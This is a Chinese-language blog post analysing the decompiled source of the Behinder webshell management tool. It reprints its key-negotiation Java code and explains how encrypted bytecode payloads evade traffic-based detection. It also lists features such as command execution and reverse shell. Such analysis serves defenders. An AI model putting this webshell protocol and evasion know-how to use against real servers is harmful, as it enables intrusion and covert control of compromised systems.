冰蝎源码分析

冰蝎流程图如下:

冰蝎是先请求服务端,服务端判断请求之后生成一个128位的随机数,并将这个128位的随机数写入到session里面,并将这个128位的随机数返回给客户端,但是客户端并不会使用这个key作为之后的通讯的key,而是会继续重复上面过程,不断获取key,直到满足特定条件之后,才会确定是最终的key。客户端会保存这个key和响应报文里面的set-cookie的值。这个key就是之后客户端和服务端进行通讯的密匙。

获取key和保存cookie之后,获取服务端信息,执行命令,文件操作,数据库操作等都是使用这个key和cookie进行操作,对执行的代码动态生成class字节数组,然后使用key进行aes加密,再进行base64编码,并用post方式发送数据。接收服务端返回的数据时,先使用key进行解密,解密之后的数据一般是使用了base64编码,解码之后就可以获取服务端返回的明文数据。

冰蝎源码分析_第1张图片

反编译Behinder.jar包,其核心代码在net.rebeyond.behinder包内

冰蝎源码分析_第2张图片

冰蝎的原理为上传一个class字节码,通过调用classloader的defineClass方法,将class字节码,转换为Class。实例化上传的这个类,通过equal方法传递PageContext。获取到PageContext,间接获取到Request、Response、Seesion等对象。如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest()

其核心部分是协商密钥getKeyAndCookie

客户端打开和服务端的连接之后,会先调用BasicInfoUtils类,在BasicInfoUtils类的getBasicInfo方法里,会调用ShellService的构造方法新建ShellService类。而在ShellService类里面的构造方法,会调用Utils的getKeyAndCookie方法。

冰蝎源码分析_第3张图片

冰蝎源码分析_第4张图片

Utils.getKeyAndCookie方法:

public static Map getKeyAndCookie(String getUrl, String password, Map requestHeaders) throws Exception {
        disableSslVerification();
        Map result = new HashMap();
        StringBuffer sb = new StringBuffer();
        InputStreamReader isr = null;
        BufferedReader br = null;
        URL url;
        if (getUrl.indexOf("?") > 0) {
            url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
        } else {
            url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
        }

        HttpURLConnection.setFollowRedirects(false);
        Object urlConnection;
        String urlwithSession;
        String errorMsg;
        if (url.getProtocol().equals("https")) {
            if (Main.currentProxy != null) {
                urlConnection = (HttpsURLConnection)url.openConnection(Main.currentProxy);
                if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
                    urlwithSession = "Proxy-Authorization";
                    errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
                    ((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
                }
            } else {
                urlConnection = (HttpsURLConnection)url.openConnection();
            }
        } else if (Main.currentProxy != null) {
            urlConnection = (HttpURLConnection)url.openConnection(Main.currentProxy);
            if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
                urlwithSession = "Proxy-Authorization";
                errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
                ((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
            }
        } else {
            urlConnection = (HttpURLConnection)url.openConnection();
        }

        Iterator var23 = requestHeaders.keySet().iterator();

        while(var23.hasNext()) {
            urlwithSession = (String)var23.next();
            ((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, (String)requestHeaders.get(urlwithSession));
        }

        if (((HttpURLConnection)urlConnection).getResponseCode() == 302 || ((HttpURLConnection)urlConnection).getResponseCode() == 301) {
            urlwithSession = ((String)((List)((HttpURLConnection)urlConnection).getHeaderFields().get("Location")).get(0)).toString();
            if (!urlwithSession.startsWith("http")) {
                urlwithSession = url.getProtocol() + "://" + url.getHost() + ":" + (url.getPort() == -1 ? url.getDefaultPort() : url.getPort()) + urlwithSession;
                urlwithSession = urlwithSession.replaceAll(password + "=[0-9]*", "");
            }

            result.put("urlWithSession", urlwithSession);
        }

        boolean error = false;
        errorMsg = "";
        if (((HttpURLConnection)urlConnection).getResponseCode() == 500) {
            isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
            error = true;
            errorMsg = "密钥获取失败,密码错误?";
        } else if (((HttpURLConnection)urlConnection).getResponseCode() == 404) {
            isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
            error = true;
            errorMsg = "页面返回404错误";
        } else {
            isr = new InputStreamReader(((HttpURLConnection)urlConnection).getInputStream());
        }

        br = new BufferedReader(isr);

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line);
        }

        br.close();
        if (error) {
            throw new Exception(errorMsg);
        } else {
            String rawKey_1 = sb.toString();
            String pattern = "[a-fA-F0-9]{16}";
            Pattern r = Pattern.compile(pattern);
            Matcher m = r.matcher(rawKey_1);
            if (!m.find()) {
                throw new Exception("页面存在,但是无法获取密钥!");
            } else {
                int start = 0;
                int end = 0;
                int cycleCount = 0;

                while(true) {
                    Map KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
                    String rawKey_2 = (String)KeyAndCookie.get("key");
                    byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());

                    int i;
                    for(i = 0; i < temp.length; ++i) {
                        if (temp[i] > 0) {
                            if (start == 0 || i <= start) {
                                start = i;
                            }
                            break;
                        }
                    }

                    for(i = temp.length - 1; i >= 0; --i) {
                        if (temp[i] > 0) {
                            if (i >= end) {
                                end = i + 1;
                            }
                            break;
                        }
                    }

                    if (end - start == 16) {
                        result.put("cookie", (String)KeyAndCookie.get("cookie"));
                        result.put("beginIndex", String.valueOf(start));
                        result.put("endIndex", String.valueOf(temp.length - end));
                        String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
                        result.put("key", finalKey);
                        return result;
                    }

                    if (cycleCount > 10) {
                        throw new Exception("Can't figure out the key!");
                    }

                    ++cycleCount;
                }
            }
        }
    }

判断得到的密匙rawKey_1之后,进入循环调用getRawKey方法,并获取rawKey_2,并且将rawKey_1和rawKey_2进行异或操作(

如果rawKey_1和rawKey_2两个值不相同,则异或结果为1。如果rawKey_1和rawKey_2两个值相同,异或结果为0。

)。获取rawKey_2的方法和获取rawKey_1基本是一样的。

获取服务器基本信息getBasicInfo

在获取了cookie和key之后,BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息。

core包

冰蝎的主要逻辑代码。

Crypt.java和Decrypt.java 涉及到server端语言的加密解密

Params.java 调用不同语言的payload,返回其字节序列

如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。

 

PluginUtils.java 插件类

ShellEntity.java shell实体类,获取shell的具体参数信息,包括ip端口等参数

ShellManager.java 冰蝎的shell管理,主要为数据库的增删改查

ShellService.java 连接shell时的一些具体操作,比如命令执行,虚拟终端,反弹shell

冰蝎源码分析_第5张图片

 

 

payload包

冰蝎实现命令执行,获取信息等的类在payload.java中。

冰蝎主要用到了三个对象,分别是

  • request 获取请求
  • response 向响应中写入结果
  • session session中存放aes加密的密钥

ui包

UI界面代码

 

utils包

工具类,core中调用该类中方法

CipherUtils.java 加解密方法类,Crypt.java调用此类并进行封装

Constants.java 常量参数,例如不同的header头

ProxyUtils.java 设置系统代理的方法类

 

 

你可能感兴趣的:(漏洞工具)